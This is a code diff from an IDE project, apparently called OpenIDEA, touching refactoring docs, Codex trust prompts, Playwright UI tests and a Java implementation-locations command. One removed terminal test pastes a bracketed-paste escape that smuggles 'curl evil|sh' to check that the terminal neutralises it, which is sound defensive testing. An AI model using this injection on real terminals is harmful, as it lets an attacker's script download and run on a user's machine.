In Java, **Refactor › Extract Interface…** creates an interface from the class of the current file. In the dialog, enter the interface name, choose its package and check the methods (and constants) it should declare. **Refactor** creates the interface, makes the class implement it, replaces the class with the interface wherever that is possible, and opens the new file; **Preview** lists the changes first.
|
||||
|
||||
## Change Signature
|
||||
|
||||
In Java, **Change Signature…** (`⌘F6`) on a method opens a dialog to change its visibility, return type and name, and to add, remove and reorder its parameters. A new parameter needs a default value, which is passed at every existing call; **Delegate via overloading method** keeps the old signature as an overload that calls the new one. The preview line shows the resulting declaration. **Refactor** updates the method, its overrides and all calls in one step; **Preview** lists the changes first. In other languages it appears when the server offers a signature rewrite as a code action.
|
||||
|
||||
@@ -49,8 +49,6 @@ OpenIDEA finds the repository that contains the project and nested repositories
|
||||
|
||||
The **Commit** tool window lists your changes in groups: **Merge Conflicts**, **Changes** (one group per changelist) and **Unversioned Files**. With **View Options › Group By › Staging State**, the changes split into **Staged Changes** and **Unstaged Changes**.
|
||||
|
||||
Turn off **View Options › Show Unversioned Files Separately** to list untracked files under **Changes** (the active changelist), or **Unstaged Changes** when grouping by staging state. This only changes the display; the files remain untracked and excluded from commits by default. The option is on by default and is remembered independently of **Staging State**.
|
||||
|
||||
<Steps>
|
||||
<Step title="Choose what to commit">
|
||||
Check the files to include. Unversioned files and conflicts are not included by default, and only the active
|
||||
|
||||
@@ -32,8 +32,6 @@ OpenIDEA 本身不带模型或账号:它启动你已安装并登录的 agent
|
||||
|
||||
未被标记为受信任的项目中无法使用 agent。
|
||||
|
||||
Codex 有自己的项目信任设置。如果它禁用了当前项目的 `.codex` 配置,任务会询问选择**在 Codex 中信任项目**还是**保持不信任**。选择信任后,会在会话加载配置(包括 MCP 服务器、hooks 和 exec policies)之前,通过 Codex 的配置 API 只写入这个项目的信任条目。即使在 Full Access 模式下也需要这一步确认;选择不信任时配置保持禁用,任务中会显示原因,对话照常进行。Codex 的配置警告和运行时警告也会显示在任务中。
|
||||
|
||||
## 新建任务
|
||||
|
||||
| 操作 | macOS | Windows / Linux |
|
||||
|
||||
@@ -100,7 +100,6 @@ stdio 配置大致如下(路径以你机器上的为准):
|
||||
- `read_file` 还能读取依赖的源代码,以及 jar 和 zip 压缩包中的文件。
|
||||
- `search_symbol` 和 `find_references` 使用 IDE 的索引和语言服务器;`get_symbol_info` 返回的内容与快速文档相同。
|
||||
- 列表类工具每次返回一页:从 `offset` 开始的 `limit` 项(默认 100;`search_symbol` 为 50,`list_runs` 为 10)。`total`(计数代价低的工具才有)、`more` 和 `nextOffset` 说明后面还有多少。`list_runs` 可按 `state` 过滤(`running`、`idle`、`error` 或某个具体状态),`get_run_configurations` 可按 `query` 过滤,`get_project_problems` 默认只列错误,`errorsOnly` 传 false 时也列警告。
|
||||
- 查询类工具(各搜索工具、`find_references`、`get_project_problems`、`git_status`、`get_all_open_file_paths`、`get_run_configurations`、`list_runs`)接受 `scope`:一个目录(相对项目根目录或绝对路径),只返回其中文件的结果,比如某个附加项目或某个模块。
|
||||
- `get_file_problems` 和 `get_project_problems` 返回的是问题工具窗口当前显示的内容(已应用你的检查配置文件),而不是重新分析的结果。
|
||||
- `check_files` 才是重新分析,适合在任何工具修改文件之后调用:它从磁盘同步每个文件,通知语言服务器文件已保存(这样 `cargo check` 等保存时检查也会运行),并等到服务器答复且分析完成。每个文件都有一个 `status`,说明问题列表是否完整,或者为什么无法检查:没有对应的语言服务器,或者服务器未安装、配置错误、已崩溃。
|
||||
- `rename_refactoring` 通过语言服务器重命名,文本搜索找不到的引用也会一并更新;也可以只预览不写入。
|
||||
|
||||
@@ -24,7 +24,6 @@ description: "重命名、引入与提取、内联、移动、更改签名和安
|
||||
| **引入字段…** | `⌥⌘F` | `Ctrl+Alt+F` | 语言服务器 |
|
||||
| **引入参数…** | `⌥⌘P` | `Ctrl+Alt+P` | 语言服务器 |
|
||||
| **提取方法…** | `⌥⌘M` | `Ctrl+Alt+M` | 语言服务器 |
|
||||
| **提取接口…** | — | — | Java |
|
||||
| **内联…** | `⌥⌘N` | `Ctrl+Alt+N` | 语言服务器 |
|
||||
| **移动…** | `F6` | `F6` | 语言服务器(符号);IDE(文件和文件夹) |
|
||||
| **安全删除…** | `⌘⌦` | `Alt+Delete` | IDE,借助服务器查找引用 |
|
||||
@@ -76,10 +75,6 @@ description: "重命名、引入与提取、内联、移动、更改签名和安
|
||||
|
||||
用于在类和它的父类或子类之间移动字段和方法:支持 Java,以及使用 Phoxite 作为 PHP 服务器时的 PHP(方法、属性和常量)。在对话框中选择成员和目标类;移动会引起的问题会先在 **检测到问题** 中列出,再决定是否继续。Java 由 OpenIDEA 自带的扩展提供,PHP 由 Phoxite 提供;其他语言和其他 PHP 服务器不可用。
|
||||
|
||||
## 提取接口
|
||||
|
||||
在 Java 中,**重构 › 提取接口…** 会从当前文件的类创建一个接口。在对话框中输入接口名称,选择所在软件包,并勾选接口要声明的方法(以及常量)。**重构** 会创建接口、让该类实现它、在可行的地方把对该类的使用替换为接口,并打开新文件;**预览** 会先列出所有改动。
|
||||
|
||||
## 更改签名
|
||||
|
||||
在 Java 方法上执行 **更改签名…**(`⌘F6`)会打开对话框,可以修改可见性、返回类型和方法名,添加、删除和调整形参顺序。新形参需要填写默认值,所有已有调用处都会传入这个值;勾选 **通过重载方法委托** 会保留旧签名作为重载并调用新方法。签名预览显示修改后的声明。**重构** 会一次更新方法本身、覆盖它的方法和所有调用;**预览** 先列出改动。其他语言在服务器把签名重写作为代码操作提供时才会出现。
|
||||
|
||||
@@ -60,70 +60,6 @@ const entries: AgentEntry[] = [
|
||||
},
|
||||
];
|
||||
|
||||
for (const choice of ["codex-trust-project", "codex-keep-untrusted"]) {
|
||||
test(`project trust has explicit choices and submits ${choice}`, async ({ page }, testInfo) => {
|
||||
await page.setViewportSize({ width: 1050, height: 800 });
|
||||
await page.goto("/");
|
||||
await page.getByRole("tree", { name: "Project" }).waitFor();
|
||||
await page.evaluate(
|
||||
async ({ task }) => {
|
||||
const path = "/src/features/agents/store.ts";
|
||||
const store = await import(path);
|
||||
store.useAgents.setState({
|
||||
loaded: true,
|
||||
tasks: new Map([[task.id, task]]),
|
||||
entries: new Map([
|
||||
[
|
||||
task.id,
|
||||
[
|
||||
{ type: "user", text: "Load the project's MCP configuration.", attachments: [], steered: false },
|
||||
{ type: "error", message: "Project-local config is disabled until the project is trusted in Codex." },
|
||||
{
|
||||
type: "permission",
|
||||
id: 2,
|
||||
title:
|
||||
"Trust project in Codex: /dev/acme-api? This saves trust in your Codex user configuration and allows this project's MCP servers, hooks and exec policies to load.",
|
||||
command: null,
|
||||
options: [
|
||||
{ id: "codex-trust-project", name: "Trust Project in Codex", kind: "allow_always" },
|
||||
{ id: "codex-keep-untrusted", name: "Keep Untrusted", kind: "reject_once" },
|
||||
],
|
||||
chosen: null,
|
||||
},
|
||||
],
|
||||
],
|
||||
]),
|
||||
});
|
||||
store.openTaskInEditorLocation(task.id);
|
||||
const ipcPath = "/src/platform/ipc.ts";
|
||||
(await import(ipcPath)).commands.agentRespond = async (task: string, permission: number, option: string) => {
|
||||
(window as unknown as { trustAnswer: unknown }).trustAnswer = { task, permission, option };
|
||||
return { status: "ok", data: null };
|
||||
};
|
||||
},
|
||||
{ task },
|
||||
);
|
||||
const card = page.getByRole("region", { name: "Trust Project in Codex" });
|
||||
await expect(card).toBeVisible();
|
||||
await expect(
|
||||
page.getByText("Project-local config is disabled until the project is trusted in Codex."),
|
||||
).toBeVisible();
|
||||
await expect(card.getByRole("button")).toHaveText(["Trust Project in Codex", "Keep Untrusted"]);
|
||||
await expect(card).toContainText("MCP servers, hooks and exec policies");
|
||||
expect(await page.evaluate(() => (window as unknown as { trustAnswer?: unknown }).trustAnswer)).toBeUndefined();
|
||||
await page.screenshot({ path: testInfo.outputPath("project-trust-confirmation.png"), animations: "disabled" });
|
||||
await card
|
||||
.getByRole("button", {
|
||||
name: choice === "codex-trust-project" ? "Trust Project in Codex" : "Keep Untrusted",
|
||||
exact: true,
|
||||
})
|
||||
.click();
|
||||
await expect
|
||||
.poll(() => page.evaluate(() => (window as unknown as { trustAnswer?: unknown }).trustAnswer))
|
||||
.toEqual({ task: task.id, permission: 2, option: choice });
|
||||
});
|
||||
}
|
||||
|
||||
for (const theme of ["dark", "light"] as const) {
|
||||
for (const width of [760, 1400]) {
|
||||
test(`approval is asked above the composer at ${width}px in ${theme}`, async ({ page }) => {
|
||||
|
||||
@@ -219,11 +219,8 @@ function history(page: Page) {
|
||||
function modelButton(page: Page) {
|
||||
return page.getByRole("button", { name: "Model", exact: true }).filter({ visible: true });
|
||||
}
|
||||
function effortButton(page: Page) {
|
||||
return page.getByRole("button", { name: "Reasoning", exact: true }).filter({ visible: true });
|
||||
}
|
||||
async function expectEffort(page: Page, name: string) {
|
||||
await expect(effortButton(page)).toHaveText(name);
|
||||
await expect(modelButton(page)).toHaveAttribute("title", new RegExp(`Reasoning: ${name}(?: ·|$)`));
|
||||
}
|
||||
async function selected(box: Locator) {
|
||||
return box.evaluate((element) => {
|
||||
@@ -258,7 +255,7 @@ async function selectDraft(page: Page) {
|
||||
}
|
||||
async function chooseModel(page: Page, name: string) {
|
||||
await modelButton(page).click();
|
||||
// A model row also holds its Pin button, whose label joins the option's name.
|
||||
// A model row also holds its Configure button, whose label joins the option's name.
|
||||
await page.getByRole("option", { name: new RegExp(`^${name}\\b`) }).click();
|
||||
await page.keyboard.press("Escape");
|
||||
await box(page).focus();
|
||||
@@ -295,7 +292,7 @@ for (const placement of ["editor", "toolWindow"] as const) {
|
||||
option: effortId,
|
||||
value,
|
||||
});
|
||||
await expect(page.getByRole("listbox", { name: "Reasoning", exact: true })).toHaveCount(0);
|
||||
await expect(page.getByRole("dialog", { name: "Model & effort settings", exact: true })).toHaveCount(0);
|
||||
}
|
||||
await expectNoSubmission(page);
|
||||
await stream.click({ position: { x: 12, y: 20 } });
|
||||
@@ -353,7 +350,7 @@ test("subagent conversation never changes its hidden parent's effort", async ({
|
||||
await expectEffort(page, "Gentle");
|
||||
});
|
||||
|
||||
test("Settings and effort popup exclude the agent shortcut", async ({ workbench: page }) => {
|
||||
test("Settings and model popup exclude the agent shortcut", async ({ workbench: page }) => {
|
||||
await seed(page, "editor");
|
||||
await box(page).fill(draft);
|
||||
await page.keyboard.press("Meta+,");
|
||||
@@ -364,10 +361,14 @@ test("Settings and effort popup exclude the agent shortcut", async ({ workbench:
|
||||
await expect(search).toBeFocused();
|
||||
await expect(search).toHaveValue("keymap");
|
||||
await settings.getByRole("button", { name: "Cancel", exact: true }).click();
|
||||
await effortButton(page).click();
|
||||
const popup = page.getByRole("listbox", { name: "Reasoning", exact: true });
|
||||
await modelButton(page).click();
|
||||
const popup = page.getByRole("dialog", { name: "Model & effort settings", exact: true });
|
||||
await expect(popup).toBeVisible();
|
||||
await popup.getByRole("button", { name: "Configure model", exact: true }).click();
|
||||
const gentle = popup.getByRole("radio", { name: "Gentle", exact: true });
|
||||
await gentle.focus();
|
||||
await page.keyboard.press("Alt+t");
|
||||
await expect(gentle).toHaveAttribute("aria-checked", "true");
|
||||
expect(await ipcCalls(page, "agent_set_config")).toEqual([]);
|
||||
await page.keyboard.press("Escape");
|
||||
await expectEffort(page, "Gentle");
|
||||
|
||||
@@ -1,4 +1,3 @@
|
||||
import type { Page } from "@playwright/test";
|
||||
import { expect, test } from "./fixtures";
|
||||
|
||||
test.beforeEach(async ({ workbench: page }) => {
|
||||
@@ -53,7 +52,7 @@ test.beforeEach(async ({ workbench: page }) => {
|
||||
});
|
||||
await page.getByRole("button", { name: "Agents", exact: true }).click();
|
||||
await page.getByRole("button", { name: "New Agent Task", exact: true }).click();
|
||||
await expectVersion(page, "18.20.0");
|
||||
await expect(page.getByText("omp · 18.20.0 · ACP v1", { exact: true })).toBeVisible();
|
||||
});
|
||||
|
||||
test("refreshes an upgraded agent's version on window focus without losing the draft", async ({ workbench: page }) => {
|
||||
@@ -64,7 +63,7 @@ test("refreshes an upgraded agent's version on window focus without losing the d
|
||||
window.dispatchEvent(new Event("test:agent-upgraded"));
|
||||
window.dispatchEvent(new Event("focus"));
|
||||
});
|
||||
await expectVersion(page, "18.20.2");
|
||||
await expect(page.getByText("omp · 18.20.2 · ACP v1", { exact: true })).toBeVisible();
|
||||
await expect(message).toHaveText("Keep this unsent draft");
|
||||
});
|
||||
|
||||
@@ -72,10 +71,5 @@ test("refreshes an upgraded agent's version when New Task is reopened", async ({
|
||||
await page.getByRole("button", { name: "Close Tab", exact: true }).click();
|
||||
await page.evaluate(() => window.dispatchEvent(new Event("test:agent-upgraded")));
|
||||
await page.getByRole("button", { name: "New Agent Task", exact: true }).click();
|
||||
await expectVersion(page, "18.20.2");
|
||||
await expect(page.getByText("omp · 18.20.2 · ACP v1", { exact: true })).toBeVisible();
|
||||
});
|
||||
|
||||
/** The agent picker shows its icon; its name and version are in its tooltip. */
|
||||
async function expectVersion(page: Page, version: string) {
|
||||
await expect(page.locator(`[data-tooltip$=" ${version}"]`).filter({ visible: true })).toHaveCount(1);
|
||||
}
|
||||
@@ -1,93 +0,0 @@
|
||||
import { expect, ipcCalls, stubDesktop, test } from "./fixtures";
|
||||
|
||||
const ROOT = "/dev/acme-api";
|
||||
const FILE = `${ROOT}/src/new-name.ts`;
|
||||
const REVISION = "a".repeat(40);
|
||||
|
||||
test("File History opens its revision and compares only that file with the working copy", async ({
|
||||
workbench: page,
|
||||
}) => {
|
||||
await stubDesktop(page);
|
||||
await page.evaluate(
|
||||
async ({ root, path, revision }) => {
|
||||
const h = window.__ipc.handlers;
|
||||
h.vcs_roots = () => [{ root, head: "main", headCommit: revision, operation: null }];
|
||||
h.vcs_branch_info = () => ({
|
||||
head: "main",
|
||||
headCommit: revision,
|
||||
upstream: null,
|
||||
ahead: 0,
|
||||
behind: 0,
|
||||
operation: null,
|
||||
});
|
||||
h.vcs_branches = () => [];
|
||||
h.vcs_status = () => [];
|
||||
h.vcs_log = ({ query }) =>
|
||||
(query as { path?: string }).path
|
||||
? [
|
||||
{
|
||||
id: revision,
|
||||
shortId: revision.slice(0, 8),
|
||||
parents: ["b".repeat(40)],
|
||||
refs: [],
|
||||
author: "Author",
|
||||
email: "[email protected]",
|
||||
timeMs: 1,
|
||||
summary: "Rename historical file",
|
||||
message: "Rename historical file",
|
||||
historyPath: "src/old-name.ts",
|
||||
},
|
||||
]
|
||||
: [];
|
||||
h.vcs_log_refs = () => ({});
|
||||
h.vcs_log_users = () => ["Author <[email protected]>"];
|
||||
h.vcs_log_details_batch = () => [];
|
||||
h.vcs_commit_files = () => [];
|
||||
h.vcs_file_at = ({ path: filePath }) => `historical contents of ${String(filePath)}\n`;
|
||||
h.fs_probe = () => ({ size: 32, binary: false, tooLarge: false });
|
||||
|
||||
const storeModule = "/src/features/vcs/store.ts";
|
||||
const { useVcs } = await import(/* @vite-ignore */ storeModule);
|
||||
useVcs.setState({
|
||||
available: true,
|
||||
root,
|
||||
repo: root,
|
||||
roots: [root],
|
||||
branchesLoaded: true,
|
||||
statusLoaded: true,
|
||||
});
|
||||
const contextModule = "/src/platform/context.ts";
|
||||
const { setContext } = await import(/* @vite-ignore */ contextModule);
|
||||
setContext("vcsAvailable", true);
|
||||
const actionsModule = "/src/platform/actions.ts";
|
||||
const { executeAction } = await import(/* @vite-ignore */ actionsModule);
|
||||
await executeAction("vcs.showHistory", { path });
|
||||
},
|
||||
{ root: ROOT, path: FILE, revision: REVISION },
|
||||
);
|
||||
|
||||
const commits = page.getByRole("listbox", { name: "Commits" });
|
||||
const row = commits.getByRole("option", { name: /Rename historical file/ });
|
||||
await expect(row).toBeVisible();
|
||||
|
||||
await row.click({ button: "right" });
|
||||
const menu = page.getByRole("menu", { name: "Context menu" });
|
||||
await expect(menu.getByRole("menuitem", { name: "Show File at Revision" })).toBeVisible();
|
||||
await menu.getByRole("menuitem", { name: "Compare with Local" }).click();
|
||||
|
||||
await expect
|
||||
.poll(async () => ipcCalls(page, "vcs_file_at"))
|
||||
.toContainEqual({ path: `${ROOT}/src/old-name.ts`, rev: REVISION });
|
||||
// The working copy side is the file itself (an editable document), not the historical path.
|
||||
await expect.poll(async () => ipcCalls(page, "vcs_file_mode")).toContainEqual({ path: FILE, rev: "WT" });
|
||||
await expect(page.getByText(`historical contents of ${ROOT}/src/old-name.ts`).first()).toBeVisible();
|
||||
|
||||
await row.click({ button: "right" });
|
||||
await page
|
||||
.getByRole("menu", { name: "Context menu" })
|
||||
.getByRole("menuitem", { name: "Show File at Revision" })
|
||||
.click();
|
||||
await expect
|
||||
.poll(async () => ipcCalls(page, "vcs_file_at"))
|
||||
.toContainEqual({ path: `${ROOT}/src/old-name.ts`, rev: REVISION });
|
||||
});
|
||||
@@ -1,60 +0,0 @@
|
||||
import { expect, test } from "@playwright/test";
|
||||
|
||||
test("a pasted ESC cannot end bracketed paste early", async ({ page }) => {
|
||||
await page.goto("/");
|
||||
const observed = await page.evaluate(async () => {
|
||||
const ipcPath = "/src/platform/ipc.ts";
|
||||
const sessionPath = "/src/features/terminal/session.ts";
|
||||
const { commands } = await import(ipcPath);
|
||||
const { TerminalSession } = await import(sessionPath);
|
||||
Object.defineProperty(window, "__TAURI_INTERNALS__", {
|
||||
configurable: true,
|
||||
value: { transformCallback: () => 1 },
|
||||
});
|
||||
const writes: string[] = [];
|
||||
commands.termSpawn = async () => ({ status: "ok", data: { id: 839, title: "bash", pid: 1 } });
|
||||
commands.clipboardFileList = async () => ({ status: "ok", data: [] });
|
||||
commands.termWrite = async (_id: number, data: string) => writes.push(data);
|
||||
commands.termResize = async () => undefined;
|
||||
commands.termKill = async () => undefined;
|
||||
const container = document.createElement("div");
|
||||
container.style.cssText = "position:fixed;inset:0;z-index:99999";
|
||||
document.body.append(container);
|
||||
const session = new TerminalSession({ key: "paste-escape", cwd: "/tmp", onChange() {}, onFocus() {} });
|
||||
const paste = async (text: string) => {
|
||||
const before = writes.length;
|
||||
const transfer = new DataTransfer();
|
||||
transfer.setData("text/plain", text);
|
||||
const event = new ClipboardEvent("paste", { bubbles: true, cancelable: true, clipboardData: transfer });
|
||||
container.querySelector("textarea")!.dispatchEvent(event);
|
||||
const deadline = Date.now() + 5000;
|
||||
while (writes.length === before && Date.now() < deadline) {
|
||||
await new Promise((resolve) => requestAnimationFrame(resolve));
|
||||
}
|
||||
return { claimed: event.defaultPrevented, written: writes.slice(before) };
|
||||
};
|
||||
try {
|
||||
session.attach(container);
|
||||
await session.start();
|
||||
// xterm opens on a later frame, once the pane has a size.
|
||||
const openDeadline = Date.now() + 5000;
|
||||
while (!container.querySelector("textarea") && Date.now() < openDeadline) {
|
||||
await new Promise((resolve) => requestAnimationFrame(resolve));
|
||||
}
|
||||
// The shell asks for bracketed paste, as bash and zsh do at the prompt.
|
||||
await new Promise<void>((resolve) => session.term.write("\x1b[?2004h", resolve));
|
||||
return {
|
||||
hostile: await paste("README\x1b[201~;curl evil|sh;#\r"),
|
||||
plain: await paste("ls -la"),
|
||||
};
|
||||
} finally {
|
||||
session.dispose();
|
||||
container.remove();
|
||||
}
|
||||
});
|
||||
expect(observed.hostile).toEqual({
|
||||
claimed: true,
|
||||
written: ["\x1b[200~README\u241b[201~;curl evil|sh;#\r\x1b[201~"],
|
||||
});
|
||||
expect(observed.plain).toEqual({ claimed: false, written: ["\x1b[200~ls -la\x1b[201~"] });
|
||||
});
|
||||
@@ -167,49 +167,3 @@ test("terminal ⌘F highlights active/inactive search matches and seeds with a n
|
||||
await expect(input).toHaveValue("gamma");
|
||||
await expect(search.locator("[aria-live=polite]")).toHaveText(/\d+\/2/);
|
||||
});
|
||||
|
||||
test("terminal shows URLs in the link colour with an underline without hovering, in light and dark themes", async ({
|
||||
workbench: page,
|
||||
}) => {
|
||||
await page.evaluate(async () => {
|
||||
const path = "/src/workbench/toolwindows/store.ts";
|
||||
const layout = await import(path);
|
||||
layout.showToolWindow("terminal", true);
|
||||
});
|
||||
const terminal = page.getByRole("region", { name: "Terminal", exact: true });
|
||||
await expect(terminal.locator(".xterm-helper-textarea")).toBeFocused();
|
||||
await page.evaluate(async () => {
|
||||
const path = "/src/features/terminal/runtime.ts";
|
||||
const { activeSession } = await import(path);
|
||||
const s = activeSession()!;
|
||||
s.term.reset();
|
||||
await new Promise<void>((resolve) =>
|
||||
s.term.write(
|
||||
" ➜ Local: http://localhost:5173/\r\n文档 https://example.com/docs 和 https://example.org/a\r\nno link\r\n",
|
||||
resolve,
|
||||
),
|
||||
);
|
||||
});
|
||||
const links = terminal.locator(".openidea-terminal-link");
|
||||
await expect(links).toHaveCount(3);
|
||||
|
||||
for (const theme of ["light", "dark"]) {
|
||||
const link = await page.evaluate(async (theme) => {
|
||||
const path = "/src/workbench/theme.ts";
|
||||
const { setTheme } = await import(path);
|
||||
await setTheme(theme);
|
||||
const probe = document.createElement("span");
|
||||
probe.style.color = "var(--link)";
|
||||
document.body.append(probe);
|
||||
const color = getComputedStyle(probe).color;
|
||||
probe.remove();
|
||||
return color;
|
||||
}, theme);
|
||||
await expect(page.locator("html")).toHaveAttribute("data-theme", theme);
|
||||
// The underline and the recoloured text both follow the theme's `--link`.
|
||||
await expect(links.first()).toHaveCSS("border-bottom-color", link);
|
||||
await expect(terminal.locator(".xterm-rows span", { hasText: /^h$/ }).first()).toHaveCSS("color", link);
|
||||
if (process.env.OPENIDEA_TERMINAL_SHOTS)
|
||||
await terminal.screenshot({ path: `${process.env.OPENIDEA_TERMINAL_SHOTS}/terminal-links-${theme}.png` });
|
||||
}
|
||||
});
|
||||
@@ -2,7 +2,7 @@ Manifest-Version: 1.0
|
||||
Bundle-ManifestVersion: 2
|
||||
Bundle-Name: OpenIDEA Java usages
|
||||
Bundle-SymbolicName: ai.openidea.usages;singleton:=true
|
||||
Bundle-Version: 1.15.0
|
||||
Bundle-Version: 1.14.0
|
||||
Bundle-RequiredExecutionEnvironment: JavaSE-21
|
||||
Require-Bundle: org.eclipse.jdt.ls.core,org.eclipse.jdt.core,
|
||||
org.eclipse.jdt.core.manipulation,org.eclipse.core.runtime,
|
||||
|
||||
@@ -88,7 +88,7 @@ is not a claim of full IntelliJ feature parity.
|
||||
## Rebuild and delivery
|
||||
|
||||
The checked-in jar is embedded by ide-sdk `include_bytes!`, installed as
|
||||
`java-usages-1.15.0.jar`, and added alongside existing initialization bundles.
|
||||
`java-usages-1.13.0.jar`, and added alongside existing initialization bundles.
|
||||
Users need no compiler, Maven or Python. Manifest/install version must change
|
||||
when replacing the bundle because OSGi caches bundles.
|
||||
|
||||
@@ -133,9 +133,6 @@ its reproducible SHA-256 is
|
||||
Version 1.12.0 caches usages answers until the Java model or an unsaved edit changes and adds
|
||||
`openidea.workspace.coveredRoots`; its reproducible SHA-256 is
|
||||
`c1bd28d7b956cb64af3e936aac0553413a5dc5fd373a043ddba003009e0ea783`.
|
||||
Version 1.15.0 adds `openidea.java.implementationLocations`, which resolves the method an
|
||||
implementation in a dependency declares (the standard request starts at its class file); its
|
||||
reproducible SHA-256 is `c29e5455c02c245523b2e7a5861e00ae670cefc66cda33ec19fdce280f94c40c`.
|
||||
|
||||
```sh
|
||||
export PATH=/path/to/jdk25/bin:$PATH
|
||||
|
||||
Бінарний файл не відображається.
@@ -20,9 +20,6 @@
|
||||
<delegateCommandHandler class="ai.openidea.archives.RefreshArchivesCommand">
|
||||
<command id="openidea.java.refreshArchives"/>
|
||||
</delegateCommandHandler>
|
||||
<delegateCommandHandler class="ai.openidea.implementations.ImplementationTargetsCommand">
|
||||
<command id="openidea.java.implementationLocations"/>
|
||||
</delegateCommandHandler>
|
||||
<delegateCommandHandler class="ai.openidea.hierarchy.HierarchyCommand">
|
||||
<command id="openidea.java.hierarchy.members"/>
|
||||
<command id="openidea.java.hierarchy.refactor"/>
|
||||
|
||||
-63
@@ -1,63 +0,0 @@
|
||||
package ai.openidea.implementations;
|
||||
|
||||
import ai.openidea.Documents;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import org.eclipse.core.runtime.IProgressMonitor;
|
||||
import org.eclipse.core.runtime.OperationCanceledException;
|
||||
import org.eclipse.jdt.core.*;
|
||||
import org.eclipse.jdt.internal.corext.util.MethodOverrideTester;
|
||||
import org.eclipse.jdt.ls.core.internal.IDelegateCommandHandler;
|
||||
import org.eclipse.jdt.ls.core.internal.JDTUtils;
|
||||
import org.eclipse.jdt.ls.core.internal.JavaLanguageServerPlugin;
|
||||
import org.eclipse.lsp4j.Location;
|
||||
|
||||
/**
|
||||
* Where the implementations of the method at a position declare it, in the classes named by the
|
||||
* caller: one location per target URI, or null when the target has no such method. The standard
|
||||
* implementation request answers with the start of a class file's decompiled source for an
|
||||
* implementation in a dependency; this resolves the method's own declaration there.
|
||||
*/
|
||||
public final class ImplementationTargetsCommand implements IDelegateCommandHandler {
|
||||
@Override
|
||||
public Object executeCommand(String command, List<Object> arguments, IProgressMonitor monitor) throws Exception {
|
||||
Documents.awaitChanges(monitor);
|
||||
String uri = (String) arguments.get(0);
|
||||
int line = ((Number) arguments.get(1)).intValue();
|
||||
int column = ((Number) arguments.get(2)).intValue();
|
||||
@SuppressWarnings("unchecked")
|
||||
List<String> targets = (List<String>) arguments.get(3);
|
||||
ITypeRoot root = JDTUtils.resolveTypeRoot(uri, true, monitor);
|
||||
if (root == null) return Map.of("locations", List.of());
|
||||
try {
|
||||
var preferences = JavaLanguageServerPlugin.getPreferencesManager();
|
||||
IJavaElement element = JDTUtils.findElementAtSelection(root, line, column, preferences, monitor);
|
||||
if (!(element instanceof IMethod method)) return Map.of("locations", List.of());
|
||||
List<Location> locations = new ArrayList<>(targets.size());
|
||||
for (String targetUri : targets) {
|
||||
if (monitor.isCanceled()) throw new OperationCanceledException();
|
||||
locations.add(find(method, targetUri, monitor));
|
||||
}
|
||||
return Map.of("locations", locations);
|
||||
} finally {
|
||||
JDTUtils.discardClassFileWorkingCopy(root);
|
||||
}
|
||||
}
|
||||
|
||||
/** The declaration of {@code method}'s implementation in the class {@code targetUri}, or null. */
|
||||
private static Location find(IMethod method, String targetUri, IProgressMonitor monitor) throws JavaModelException {
|
||||
ITypeRoot targetRoot = JDTUtils.resolveTypeRoot(targetUri);
|
||||
if (targetRoot == null) return null;
|
||||
IType target = targetRoot.findPrimaryType();
|
||||
if (target == null) return null;
|
||||
ITypeHierarchy hierarchy = target.newSupertypeHierarchy(monitor);
|
||||
// Seen from the subtype, so its type arguments substitute the method's type variables.
|
||||
IMethod found = new MethodOverrideTester(target, hierarchy).findOverridingMethodInType(target, method);
|
||||
if (found == null || Flags.isAbstract(found.getFlags())) return null;
|
||||
IClassFile classFile = found.getClassFile();
|
||||
if (classFile == null) return JDTUtils.toLocation(found);
|
||||
List<Location> decompiled = JDTUtils.searchDecompiledSources(found, classFile, true, true, monitor);
|
||||
return decompiled.isEmpty() ? null : decompiled.get(0);
|
||||
}
|
||||
}
|
||||
@@ -23,30 +23,9 @@ config_source = next(home / name / 'config.ini' for name in config_names if (hom
|
||||
(config / 'config.ini').write_bytes(config_source.read_bytes())
|
||||
project = work / 'project'
|
||||
(project / 'src/zoo').mkdir(parents=True)
|
||||
(project / 'lib').mkdir()
|
||||
libs = work / 'libsrc/zoo'
|
||||
libs.mkdir(parents=True)
|
||||
(libs / 'ExternalRepo.java').write_text('''package zoo;
|
||||
|
||||
public interface ExternalRepo {
|
||||
String find(String id, int limit);
|
||||
}
|
||||
''')
|
||||
(libs / 'ExternalImpl.java').write_text('''package zoo;
|
||||
|
||||
public class ExternalImpl implements ExternalRepo {
|
||||
public String find(String id, int limit) {
|
||||
return id + limit;
|
||||
}
|
||||
}
|
||||
''')
|
||||
lib_classes = work / 'libclasses'
|
||||
lib_classes.mkdir()
|
||||
subprocess.run(['javac', '--release', '8', '-d', str(lib_classes)] + [str(p) for p in libs.glob('*.java')], check=True)
|
||||
subprocess.run(['jar', 'cf', str(project / 'lib/external-api.jar'), '-C', str(lib_classes), '.'], check=True)
|
||||
(project / '.project').write_text('<projectDescription><name>zoo</name><buildSpec><buildCommand><name>org.eclipse.jdt.core.javabuilder</name></buildCommand></buildSpec><natures><nature>org.eclipse.jdt.core.javanature</nature></natures></projectDescription>')
|
||||
# `kotlin`: the project's compiled Kotlin classes, as the Kotlin bridge attaches them.
|
||||
(project / '.classpath').write_text('<classpath><classpathentry kind="src" path="src"/><classpathentry kind="lib" path="lib/external-api.jar"/><classpathentry kind="lib" path="kotlin"><attributes><attribute name="ai.openidea.kotlin" value="true"/></attributes></classpathentry><classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER"/><classpathentry kind="output" path="bin"/></classpath>')
|
||||
(project / '.classpath').write_text('<classpath><classpathentry kind="src" path="src"/><classpathentry kind="lib" path="kotlin"><attributes><attribute name="ai.openidea.kotlin" value="true"/></attributes></classpathentry><classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER"/><classpathentry kind="output" path="bin"/></classpath>')
|
||||
sources = {
|
||||
'Repo.java': '''package zoo;
|
||||
|
||||
@@ -108,14 +87,6 @@ public class Anon {
|
||||
};
|
||||
}
|
||||
}
|
||||
''',
|
||||
'UseExternal.java': '''package zoo;
|
||||
|
||||
public class UseExternal {
|
||||
void use(ExternalRepo repo) {
|
||||
repo.find("x", 1);
|
||||
}
|
||||
}
|
||||
''',
|
||||
'Use.java': '''package zoo;
|
||||
|
||||
@@ -209,28 +180,6 @@ def implementations(file, needle):
|
||||
return sorted(names), found['complete']
|
||||
|
||||
|
||||
def definition(file, needle):
|
||||
line, col = position(file, needle)
|
||||
return request('textDocument/definition', {'textDocument': {'uri': uri(file)}, 'position': {'line': line, 'character': col}})
|
||||
|
||||
|
||||
def class_contents(class_uri):
|
||||
